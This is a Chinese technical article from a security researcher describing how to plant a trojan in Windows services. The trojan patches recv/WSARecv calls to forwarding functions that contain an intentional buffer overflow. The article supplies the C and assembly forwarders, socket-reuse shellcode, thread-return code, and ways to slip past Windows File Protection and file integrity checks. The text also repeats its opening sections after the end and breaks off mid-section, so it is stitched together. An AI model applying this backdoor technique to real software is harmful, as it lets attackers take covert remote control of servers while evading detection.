作者:FLASHSKY(原创)
作者邮箱:flashsky@xfocus.org
站点: www.xfocus.net
申明:
作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,
通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术
给予较高的关注,提出查杀和避免的方法。作者提供关键代码段的技术实现的文档和演示来验证其实现,但不提供源代码和二进制程序,任何
人都可以利用此文进行自己的技术研究和代码实现,但是自己负担自己开发程序进行非法行为的法律责任。
一:溢出植入型木马(后门)的基本思路
1. 木马(后门)如何有效的隐蔽的思考?
木马和后门是在服务器端运行,实现与特定工作者进行通讯和执行服务请求的一个应用服务器程序。隐蔽则是非常重要的手段,当前主要涉及
到的隐蔽问题有:
? 应用/代码本身的隐蔽,避免事后查杀工具查出。避免文件完整性的检查等。
? 应用进程执行的隐蔽:如木马进程的隐蔽
? 自动启动代码相关的隐蔽:如W2K下需要修改注册表让自己在系统自动启动的时候启动,或填加到服务或驱动当中
? 通讯的隐蔽:如何隐蔽端口不被查出,如何饶过防火墙等问题
当前木马/后门发展的趋势是写入到驱动和内核的级别。通过拦截系统调用的服务来达到以上几个隐蔽的目的,如ROOTKIT等,但是这样的木马
/后门也存在着一些问题:
? 代码量多,在客户端执行的工作多。做的事情越多,其蛛丝马迹必然也就会越多。而且是在主动方式执行的,任何时候都在予以执行
,而不仅仅是在攻击者与其进行通讯的时候。
? 影响一定的性能:由于是写入内核和驱动的,受影响的面比较大。
? 编写需要高的技巧与技能。
2. 溢出植入型木马(后门)的思路
那么针对以上问题,我们会产生一个思路,就是按照这种方式来实现隐藏自己的木马/后门
? 被动工作式的木马,最好是制造一个可以远程利用的通用漏洞,利用这个通用漏洞来实现控制,这样只在与攻击者通讯的时候才会有
一定的迹象,而且服务器端留存的代码到最小,也就无所谓事后查杀,对系统的影响也非常的小。
? 特定程序的执行代码依赖于客户端传入的数据,而这些代码只存在于内存之中。
? 特定代码执行的机理尽量依赖于系统本身的正常的机制进行加载,和执行
3. 溢出植入型木马(后门)的优势
那么由上面的思路进行阐发,我们会想到,做植入一个漏洞的木马,那么为什么会选植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系统通用性的优势:在很多的CPU平台和操作系统平台上,溢出都是一个普遍存在的漏洞,并且其原理都是一样的,
这样的木马很容易移植。
? 溢出漏洞本身难以被检查,具备非常好的隐秘性
? 溢出本身就可以做远程的控制,很多其他的漏洞是通过漏洞获得权限以后还需要通过其他的方式来进行控制。
? 溢出通过客户端把指令以代码的方式发送执行来获得控制,这些可执行代码数据可以根据需要进行一定的修改,本身具备一定的灵活
性,本身的攻击代码不以服务器端程序的方式留存,只在执行的时候存在于内存堆栈中,很难寻找。
? 溢出的代码执行是在正常服务的内部进行的,很容易就实现了进程的隐藏,而且注入到一个正常的应用中,其启动和控制无需要其他
修改注册表等方式。而且利用本身的端口和SOCKET很容易就能实现通讯的端口复用和SOCKET复用,实现端口隐藏和饶过防火墙。
? 溢出本身对程序的性能等影响很小。且是完全被动方式来工作的。
? 制造一个溢出漏洞比较简单和容易实现,即使是一个非常安全的应用程序,制造一个溢出BUG很容易,如一个收包的代码调用:
recv(sock,buf,xxxx,flag),只需要简单的调整XXX的大小的值就使得其存在了一个溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解决的4个问题
但是真正以木马/后门方式给应用植入一个溢出漏洞而可以被很好的被广泛使用,必须要使得这个溢出具备通用化的问题,主要涉及到如下几个
方面的考虑:
? 溢出点定位
因为溢出的BUF的长度,位置和RETADDR的偏移关系对每个应用程序都是不定的,如果针对每个应用程序都需要手工调整这个溢出点的话,客户
端就无法实现通用性的代码,因此需要植入一个可溢出点固定的溢出漏洞。
? JMP ESP代码提供和定位
溢出代码通过RETADDR掌握到主动的时候,但由于SHELLCODE在的内存堆栈是动态分配的,是无法准确获得其地址的,那么需要借重于JMP ESP这
样的语句来实现跳转,有些应用可能有这样的语句,有些应用可能又没有这样的语句,而且地址不会是一样的,随不同系统和操作系统的版本
也都会变化,因此需要提供一个可固定的JMP ESP代码的地址给溢出SHELLCODE,来实现通用化。
? 溢出覆盖后对变量的引用访问违例
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会引用这些变量,而这些变量很可能已经被我们的覆盖代码已经修改,从而导致访问违例,导致程序终止或被记录或进行异常处理代码
而无法执行我们的溢出代码并且暴露我们的行踪。
? 溢出覆盖后执行代码对溢出区的修改
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会修改我们已经溢出覆盖的SHELLCODE的内容,这样在溢出以后就无法正确执行我们想要执行的SHELLCODE,一般来说还会引起异常导致
进程的意外终止和记录,暴露我们的行踪。
2. 实现植入通用化溢出漏洞的思路
那么如何有效解决以上问题,实现一个可通用化利用的溢出漏洞呢?我们来展开我们的思考:
a) 思路一:修改扩展堆栈(对于固定EBP/ESP引用有效)
在一个函数 CALL FUN的FUN执行空间下
假设一个应用程序的堆栈空间如下:
ESP----------》变量1到10 占有空间40个字节
可被我们溢出的BUF1占有空间400个字节
其他的变量11到20占有空间40个字节
EBP----------》RETADDR
传入的函数参数1到4 占有空间16
那么在进入FUNC执行的时候,其生成的汇编语句会如下:
PUSH EBP
MOV EBP,ESP (这时候的ESP指向RETADDR的地址)
SUB ESP,480 (480是变量总的占有空间的数)
。。。。。。。 (代码执行区)
ADD ESP,480
PUSH EBP
我们修改如上的汇编代码的语句为:
PUSH EBP
MOV EBP,ESP
SUB ESP,1480
。。。。。。。
ADD ESP,1480
PUSH EBP
对应的堆栈空间是
ESP----------》变量1到10 占有空间40个字节
可被我们溢出的BUF1占有空间400个字节
其他的变量11到20占有空间40个字节
多出的1000个字节的空间
EBP----------》RETADDR
传入的函数参数1到4 占有空间16
如果对参数的引用都是以EBP+XXX,对变量的引用都是以ESP+XXX的方式的话,我们会发现其对应用的影响没有,程序依然可以很好的执行,因
为参数和变量相对ESP,EBP的位置并没有发生变化。但是我们会发现如下几个有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函数的头尾地方出现,不影响程序大小,容易寻找。
2. 如果我们可以根据已知的 XXX的大小和BUF的位置,来自动计算和调整XXX的值,就可以实现溢出点定位的问题,如上面的例子,需要
溢出点定位到1000,我们把SUB ESP,480改成 SUB ESP,1040就可以达到定位点是1000的目的。(多出的40是在BUF上面的变量,这和BUF的位
置有关);
3. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,就能有效的避免SHELLCODE被后续程序执行导致被修改的问题。
4. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,那么对于前面的空间,由于溢出点位置已定,SHELLCODE不存
在被修改,因此可以对于变量10到20尽可能的有效的数据地址,来减少可能的后续代码的执行对其的引用导致的访问违例问题,虽然不能完全
解决,但至少提供了很大的可能性。
这是一个很好的思路,然而现实是残酷的,因为我们发现原先设想的一个前提在不同的编译器选项下是不成立的,既
对变量的引用是ESP+XXX,对传入参数的引用是EBP+XXX,不同的情况生成的汇编代码是复杂的,既有可能对变量和传入参数的引用全部是ESP+
XXX的方式,也有可能对变量和传入参数的引用全部是EBP+-XXX的方式。我们只得利用这个思路继续思考新的解决方法。
b) 思路二:植 入某个特定函数的转发函数
那么新的想法就是,针对可以溢出的函数,给他植入一个转发的函数。也就是说本来在一个过程中有对
recv(sock,buf,xxx,flag)的调用,把他修改成recvadd(sock,buf,xxx,flag),我们附加给应用一个recvadd函数,这个函数只是简单的对
recvadd(sock,buf1,xxx,flag)进行转发而已,但是其分配的内存空间和给定的XXX是不一致的,存在溢出的漏洞,那么对这个转发的recv进行
溢出就可以实现溢出控制了。
3. 植入的通用化通用化溢出漏洞的实现
a) 函数转发过程和优势
过程:
i. 开辟一个新的BUF1,长度固定,这样可提供溢出点固定的溢出
ii. 调用recv(sock,buf1,xxx,flag)进行收包
iii. 将buf1的内容拷贝回BUF,这样就不会影响正常的应用。
优势:
可以一举解决可通用化利用的溢出漏洞的四个问题。
iv. 因为在RECVADD函数中运行,BUF1的分配可以根据指定的溢出点进行分配。并可保证足够的溢出空间,使得SHELLCODE就在BUF1内存放
而不影响EBP后面的变量
v. RECVADD中可以放置JMP ESP的变形代码,解决JMP ESP的定位问题
vi. RECVADD只提供BUF1,接收以后再拷贝回BUF,这样不会涉及到问题3和问题4
vii. 不会影响程序的正常应用,而且附加的函数本身功能比较简单,非常容易实现,代码量非常小,1,2百字节以内,而如W2K的PE文件格
式下节是以0X1000H对齐的,因此有足够的空间加入到PE文件正常的节中而不影响其大小,其他参数的变化。
b) 制造转发函数的通用漏洞
下面就是最初步的一个对RECV进行转发的函数的C代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //说明无法通用溢出,因为要不影响正常应用
else
{
num = recv(s,buf1,0x11a9,flags); //扩大到标准指定的溢出点上
if(num>0) //判断是否收到包
{
if(num<=len) //判断是否溢出,没有则拷贝内存
memcpy(buf,buf1,num);
else //提供JMP ESP的地址,这个地址随植入时候自动计算并替换掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 检测溢出和溢出返回地址
判断溢出很简单,只需要利用RECV的返回接收字节数字和给定的LEN进行比较就可以,当然也可以利用溢出地址的编码检查是否是自己特定的
溢出。
另外就是扩展了足够的BUF1以后,SHELLCODE完全就可以放在BUF1中而无需覆盖EBP下面的内容了,这样就为有效的线程安全返回提供了条件。
因为一个我们的SHELLCODE完成任务以后,这个溢出线程的处理是非常麻烦的,如果中断掉,对有些应用则会引起异常,如DNS SERVER等就不
会工作,而有些这会中断和记录下来,最理想的方式是保存环境完全又返回到原来应该返回点继续执行。
ii. JMP ESP代码
我们在附加函数的尾部提供一个如下的汇编代码的机器代码:
SUB ESP,XXXX
JMP ESP
(当然为了隐蔽,可以生成其他等效功能的变形代码,如
MOV EAX,ESP,
JMP EAX)
然后在植入的时候自动计算这个附加代码的地址,替换掉RECVADD的程序代码中,在运行检测到溢出的时候,就将这个地址替换到有效的返回
地址上,实现溢出的SHELLCODE的跳转。
iii. 其他需要利用的环境变量的保护
同时考虑到如下因素,因在替代函数中提供对如下变量的保护
? SOCKET,便于SOCKET复用
? RETADDR:便于SHELLCODE完成以后,线程实现安全的返回
? 本函数调用传入的参数大小,以实现SHELLCODE中对ESP/EBP计算安全返回
? 执行前保存函数体外的需要保存的积存器,以实现安全返回
那么下面就是一个考虑了以上情况的对RECV进行转发函数的汇编代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH] //检查LEN是否是大于1000H的应用,
cmp eax,1000H //这样的应用我们按1000H做溢出点
jg recv //可能会破坏正常的应用
sub esp,119ch //扩展堆栈到定好的溢出点
mov eax,[esp+11a0h] //保存SC备SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch] //保存返回地址供SHELLCODE执行完
mov [esp+4],eax //以后进行返回
mov dword ptr [esp+8],10h //保存压入参数的占用堆栈的大小
push esi //保护外围积存器
push edi
push ecx
push edx
mov eax, [esp+11Bch]
push eax
mov esi, [esp+11Bch]
push 11A9h //替换成可溢出的值
lea ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call recv //recv转发
test eax, eax
jle loc_2
cmp eax, esi //判断是否接收到包
jle loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec eax
cmp edx,0x90909090 //比较规定的溢出地址值
jne loc_2
mov eax,1010101H //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1: //BUF1的内容拷贝回BUF
mov ecx, eax
mov edi, [esp+11B4h]
mov edx, ecx
lea esi, [esp+1cH]
shr ecx, 2
repe movsd
mov ecx, edx
and ecx, 3
repe movsb
loc_2:
pop edx //弹出保护的外围积存器
pop ecx
pop edi
pop esi
add esp,119ch
retn 10h //如果发生溢出则会到指定的程序点上执行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木马(后门)的在W2K下的实现
我们已经有了一个完备的转发函数来植入通用化的溢出漏洞了,那么如何这个后门和木马如何植入应用呢?下面我们就来考虑这个方面的问题
:
a) 整个植入代码的结构如下
[RECVADD地址] :
存放真正的RECVADD函数的地址,这样替换对方的JMP [RECV]的[RECV]地址值为这个地址值就能达到实际的JMP [RECV]的效果
[RECVADD函数]:真正的执行代码区
[RECV跳转函数]:保存真正的RECV的跳转地址JMP [RECV]和CALL [RECV]的地址,使得程序可以转发真正的调用
[JMP ESP代码]:存放溢出执行时的JMP ESP执行代码
b) PE文件节点分析和代码的附加
? 分析节接点空间是否有足够的位置放置植入的代码
? 在导入代码节和执行代码节的头部里找到对应的需要替换的函数(此例为RECV函数的地址)
1. 通过GetProcAddress获取recv的地址,在进程空间的导入代码节里查找对应地址的导入地址
? 在代码区内找到jmp [recv]或call [recv]的地址,记录下来
? 停止服务,以写打开文件
? 替换jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代码
c) 附加代码的自动计算和替换
涉及到自动计算的地方有如下几处
RECVADD函数本身的位置
RECV函数的真正位置的计算和替换
JMP ESP代码的位置计算和替换
d) 调用函数分析和导入表的替换
存在两种调用形式,程序需要分别分析和处理
i. JMP [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为JMP [FUN]的地址,这里面的 [FUN]中才为真正的FUN的导入表中的对应函数的地址
这个只需要替换JMP [FUN]就可以达到对应用的所有调用进行替换的目的
ii. CALL [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为FUN的导入表中的对应函数的地址
这个需要替换所有的CALL [FUN]才能达到对应用的所有调用进行替换的目的
三:通用的远程溢出的SHELLCODE
1. 函数定位处理
先通过对内存的搜索获得GetProcAddress的地址,来加载需要使用的API。这个都是属于通用的技巧了。
2. 通用的SOCKET复用
这里讨论的SOCKET复用是在W2K环境下的,针对阻塞式SOCKET情况下的。
a) SOCKET复用的意义
i. 服务器端无需开端口,饶过端口检查
ii. 使用服务本身的端口进行通讯,被动直接使用客户端的SOCKET,可以有效的饶过防火墙
b) 基本思路
i. 获得有效的SOCKET描述符
可以通过SOCKET从某个值递增,然后通过getpeername判断是否是一个SOCKET和对应是否是自己的IP地址的SOCKET
ii. 判断关联的SOCKET描述符的进程
在获得SOCKET描述符存在的问题是,由于溢出是在代码执行返回时才掌握控制权,这个时候很可能SOCKET已被正常的关闭掉了。所以可能需要
我们连2个上去,一个发出溢出包,一个处于对方RECV停等的状态,如果第一个SOCKET已经关闭的话,可以判断第二个来进行复用处理,这就
需要SHELLCODE做如下的判断:
1. 有可能第一个也没被关闭,那么需要有效判断出第二个来,只要通过检查线程的ID是否和当前的匹配就可以
2. 使用第二个SOCKET以前,需要先悬挂起这个SOCKET处理的线程,否则无法正常使用SOCKET
在阻塞式情况下,RECV的代码会停留在NtWaitForSingleObject的代码上,那么我们通过判断线程环境上下文的EIP地址就基本可以获得大致的
对应的线程,但是也有可能有其他的线程处于同一位置,那么我们可以搜索有效的线程的堆栈空间是否存在对应的SOCKET描述符就可以基本确
定了。
下面就是基本实现的C代码:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4) //SOCKET描述符从0X50开始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//对应IP
{
//发送字节看是否是已经关闭的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常处理了
}
//不是的则恢复线程的执行和循环
c) 但是以上对线程的判断方法只对阻塞式的SOCKET有效,对于非阻塞式的SOCKET却无法判断,但对于函数替换这种方式植入的溢出来说
,非常幸运的是:可以确保这个SOCKET在溢出控制的时候肯定不会被关闭,因此我们完全可以只通用SOCKET的getpeername函数尝试就可以判
断这个SOCKET描述符了,当然我的例子代码采用了由植入程序保存这个环境变量的方法来复用这个SOCKET
3. 对环境变量的正常引用
其实我们把三个保存的环境变量都放在溢出的BUF1之前的,相对于跳转执行的SUB ESP,XXX,JMP ESP后,这个地址是不固定的,可能随着被
溢出函数在返回之前的RETN XXX的XXX而变化,因此要用一个固定的ESP+XXX来引用这几个保存的环境变量,需要我们更该对应的SUB ESP,XXX
,JMP ESP的XXX大小,幸运的是,对于每个固定的替换API这个是固定的,因此我们完全可以针对每一个替换的函数写固定的XXX在内,因为对
不同的替换函数其替换函数的内容也会变化。
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。
4. 线程完毕后的处理思考
a) 删除或终止线程
这样虽然简单,但是容易引起异常和记录。
b) 保存线程环境返回原调用点
那么需要保存和计算如下的内容:
保存溢出SHELLCODE执行前的积存器内容
保存需要返回的地址值
计算恢复后的ESP/EBP,好放入对应的地址值。
最大的考虑则是:在恢复积存器后,还需要使用积存器读取返回地址值并放入返回前的ESP和读取函数在溢出前提供的函数参数大小使得计算正
常的ESP,因此对于积存器的保护需要一点技巧。
c) 线程安全返回的代码
sub esp,0x13fc //先开辟一个空间,保护几个特殊的积存器
push ebp
push ecx //因为要二次用到,所以在此处保存eax.ecx
push eax
sub esp,xxx //这儿开辟的堆栈空间才是真正的SHELLCODE使用的变量存放的空间
push ebx 保存其他的积存器
push ecx
push edx
push esi
push edi
。。。。。。。。。。。。。。。。SHELLCODE功能代码
执行完毕以后实现县城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //杀掉打开的CMD进程
_asm{
mov eax,k //K是溢出函数传入的参数长度
mov ebx,retaddr //返回地址
mov ecx,28FCH //ESP回复到开辟的地方
add ecx,eax //考虑溢出函数传入的参数长度的ESP地址
sub ecx,4 //回到应该放置RET的ESP处
mov [esp+ecx],ebx //存放真正的返回地址
pop edi //恢复通用的积存器
pop esi
pop edx
pop ecx
pop ebx
pop edi
pop esi
pop ebx
add esp,4e4h //ESP减少SHELLCODE使用的堆栈空间
mov [esp+23F8H],eax //写入K的值,在恢复积存器以后就可以无需再使用其他积存器来使用了
pop ebp //弹出几个保护的特殊积存器
pop eax
pop ecx
add esp,23ECH //到存放K的堆栈上,这样就可以用[ESP]来引用这个值而无需使用其他积存器,导致已恢复的积
存器又被破坏掉
add esp,[esp] //利用[ESP]引用K实现ESP+K,来计算真正的ESP值
sub esp,4 //提前4字节,也就是RETADDR的地方。利用RET进行返回
ret
}
5. 演示远程SCOKET复用SHELLCODE溢出TEST服务
四:阐发
1. 饶过WIN2K的系统文件完整性保护机制(SFP)
我们的后门和木马主要的目标是修改运行具备特权的服务和系统文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP机制来保护系统文件
的完整性。那么只有能有效的修改我们需要植入的受系统保护的文件,我们才能达到目的。
网上有很多删除和更新受保护文件的方法,但是基本思路是同步删除掉备份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的对应文件,但是这样会导致系统跳出一个无法正常恢复受保护文件的警告框出来,这样就会暴露我们的行踪。
其实修改受SFP保护的文件又不引起这个警告框的方法非常简单,就是:同时独占打开这两个备份的文件,然后再修改受系统保护的文件,修改
完毕之后,过一段时候再关闭独占打开这两个备份的文件,这样文件就可以被正常修改而已不会引发任何的提示。
当然,还有很多其他的方法来达到这个目的,如修改对应文件的校验标志等,不过这种方法是最简单和有效的。
a) 演示删除和更改WIN2K的受保护的系统文件的方法
2. 通用化测试
以上就是一个基本溢出植入型木马实现的原形,那么我们最后用实际的测试来验证一下我们的这个原型是否通用和达到我们预期的目的。我们
来做2个实际应用和服务的植入溢出的实验和通用这个通用化溢出实现我们的远程控制。
a) 演示DNS SERVER植入recv转发的远程溢出漏洞和控制
制约条件:
使用和植入溢出TEST服务一样的SHELLCODE和客户端
使用和植入溢出TEST服务一样的木马执行程序和RECV的转发函数
唯一不同是给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
4. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用
b) WSARecv函数的转发的溢出实现和演示
那么对于RECV转发溢出大家很熟悉了,但这是否限制了我们的应用呢?因为多数的应用是用WSARECV函数来实现的,其实我们先就有一个结论
是:
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。针对不同的函数,只要这个函数形如FUN(BUF,LEN),LEN是指定BUF长度的函数,其实都可以被植入溢出漏洞的。
那么我们就来实现一下对WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替换函数
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv //判断是否允许在空间范围内溢出
sub esp,119ch //扩展堆栈
mov eax,[esp+11a0h] //保护环境变量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push ebx //保护积存器
push esi
push edi
mov ebx, [esp+11B0h] //保留WSABUF中长度和地址的参数
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea edi, [esp+18H] //保存WSABUF的BUF到BUF1中后内容,避免被溢出覆盖后不能恢复
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr ecx, 2
repe movsd
mov ecx, eax
and ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H //扩大 WSABUF长度使得其能被溢出
mov eax, [esp+11c4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
push ebx
mov eax, [esp+11C4h]
push eax
call WSARecv //转发到WSARECV
push ecx //保存WSARECV返回的有意义的三个积存器
push eax
push edx
mov edx,[esi+1190H] //获得WSABUF的BUF,如果溢出这写入的返回地址值
mov ecx,[esp+11b4h] //获得如果溢出,则需要恢复回去的内容
mov [esi+1190H],ecx //恢复到BUF中
mov ecx,[esp+1ch] //读取保留的返回地址
mov [esp+11b4h],ecx //恢复到ESP对应的返回地址上,避免被溢出覆盖,因先保存WSABUF的时候这个地址已
经被覆盖了
mov [ebx],edi //写入WSABUF正常的LEN值
test eax, eax //检查是否接收到包
jne loc_4
mov ebx,[esp+11C4H] //获得收到包的大小
mov ecx,[ebx]
cmp ecx, edi //检查是否溢出
jle loc_4
cmp edx,0x90909090 //检查溢出传来的返回地址是否和我们规定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea edi, [esp+24H] //拷贝SHELLCODE到我们的BUF1,同时恢复WSABUF中其他变量被覆盖的值,避免以后SHELLCODE
返回后导致异常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H //写入JMP ESP的地址,1010101H会在植入时候通过计算进行正确的替换
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop edi
pop esi
pop ebx
add esp,119cH
retn 1ch
}
}
ii. 重载异步IO的SOCKET的内存置换的问题
这个替代函数比RECV函数要复杂一些,因为这个SOCKET是一个重载异步IO的SOCKET的,在RECV的时候,其内存是不允许置换的,否则这个重载
异步IO的SOCKET就会成为一个非重载异步IO的SOCKET,这样就会影响正常的应用。同时对执行WSARECV后被修改的积存器的保护也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但扩大LEN导致溢出的方法,为了正常返回,则将其可能被溢出覆盖的内容
复制到BUF1上,如果真的发生溢出以后,再将溢出内容拷贝到BUF1,把BUF1的保存内存拷贝到被溢出的BUF上,保证程序的正常运行。
iii. 演示SQL SERVER植入WSARecv转发的远程溢出漏洞和控制
制约条件:
使用和植入溢出TEST服务一样的SHELLCODE和客户端
使用和植入溢出TEST服务一样的木马执行程序,只修改WSARECV的转发函数体
给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
5. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用
c) 只修改内存影象避免文件完整性检查
最后的讨论是,同样,这样的原理可以只利用到对只修改内存影象来到达溢出植入的目的,这样就可以避免文件完整性检查,不过当服务重启
以后这个后门和木马则不可利用了。
作者邮箱:flashsky@xfocus.org
站点: www.xfocus.net
申明:
作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,
通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术
给予较高的关注,提出查杀和避免的方法。作者提供关键代码段的技术实现的文档和演示来验证其实现,但不提供源代码和二进制程序,任何
人都可以利用此文进行自己的技术研究和代码实现,但是自己负担自己开发程序进行非法行为的法律责任。
一:溢出植入型木马(后门)的基本思路
1. 木马(后门)如何有效的隐蔽的思考?
木马和后门是在服务器端运行,实现与特定工作者进行通讯和执行服务请求的一个应用服务器程序。隐蔽则是非常重要的手段,当前主要涉及
到的隐蔽问题有:
? 应用/代码本身的隐蔽,避免事后查杀工具查出。避免文件完整性的检查等。
? 应用进程执行的隐蔽:如木马进程的隐蔽
? 自动启动代码相关的隐蔽:如W2K下需要修改注册表让自己在系统自动启动的时候启动,或填加到服务或驱动当中
? 通讯的隐蔽:如何隐蔽端口不被查出,如何饶过防火墙等问题
当前木马/后门发展的趋势是写入到驱动和内核的级别。通过拦截系统调用的服务来达到以上几个隐蔽的目的,如ROOTKIT等,但是这样的木马
/后门也存在着一些问题:
? 代码量多,在客户端执行的工作多。做的事情越多,其蛛丝马迹必然也就会越多。而且是在主动方式执行的,任何时候都在予以执行
,而不仅仅是在攻击者与其进行通讯的时候。
? 影响一定的性能:由于是写入内核和驱动的,受影响的面比较大。
? 编写需要高的技巧与技能。
2. 溢出植入型木马(后门)的思路
那么针对以上问题,我们会产生一个思路,就是按照这种方式来实现隐藏自己的木马/后门
? 被动工作式的木马,最好是制造一个可以远程利用的通用漏洞,利用这个通用漏洞来实现控制,这样只在与攻击者通讯的时候才会有
一定的迹象,而且服务器端留存的代码到最小,也就无所谓事后查杀,对系统的影响也非常的小。
? 特定程序的执行代码依赖于客户端传入的数据,而这些代码只存在于内存之中。
? 特定代码执行的机理尽量依赖于系统本身的正常的机制进行加载,和执行
3. 溢出植入型木马(后门)的优势
那么由上面的思路进行阐发,我们会想到,做植入一个漏洞的木马,那么为什么会选植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系统通用性的优势:在很多的CPU平台和操作系统平台上,溢出都是一个普遍存在的漏洞,并且其原理都是一样的,
这样的木马很容易移植。
? 溢出漏洞本身难以被检查,具备非常好的隐秘性
? 溢出本身就可以做远程的控制,很多其他的漏洞是通过漏洞获得权限以后还需要通过其他的方式来进行控制。
? 溢出通过客户端把指令以代码的方式发送执行来获得控制,这些可执行代码数据可以根据需要进行一定的修改,本身具备一定的灵活
性,本身的攻击代码不以服务器端程序的方式留存,只在执行的时候存在于内存堆栈中,很难寻找。
? 溢出的代码执行是在正常服务的内部进行的,很容易就实现了进程的隐藏,而且注入到一个正常的应用中,其启动和控制无需要其他
修改注册表等方式。而且利用本身的端口和SOCKET很容易就能实现通讯的端口复用和SOCKET复用,实现端口隐藏和饶过防火墙。
? 溢出本身对程序的性能等影响很小。且是完全被动方式来工作的。
? 制造一个溢出漏洞比较简单和容易实现,即使是一个非常安全的应用程序,制造一个溢出BUG很容易,如一个收包的代码调用:
recv(sock,buf,xxxx,flag),只需要简单的调整XXX的大小的值就使得其存在了一个溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解决的4个问题
但是真正以木马/后门方式给应用植入一个溢出漏洞而可以被很好的被广泛使用,必须要使得这个溢出具备通用化的问题,主要涉及到如下几个
方面的考虑:
? 溢出点定位
因为溢出的BUF的长度,位置和RETADDR的偏移关系对每个应用程序都是不定的,如果针对每个应用程序都需要手工调整这个溢出点的话,客户
端就无法实现通用性的代码,因此需要植入一个可溢出点固定的溢出漏洞。
? JMP ESP代码提供和定位
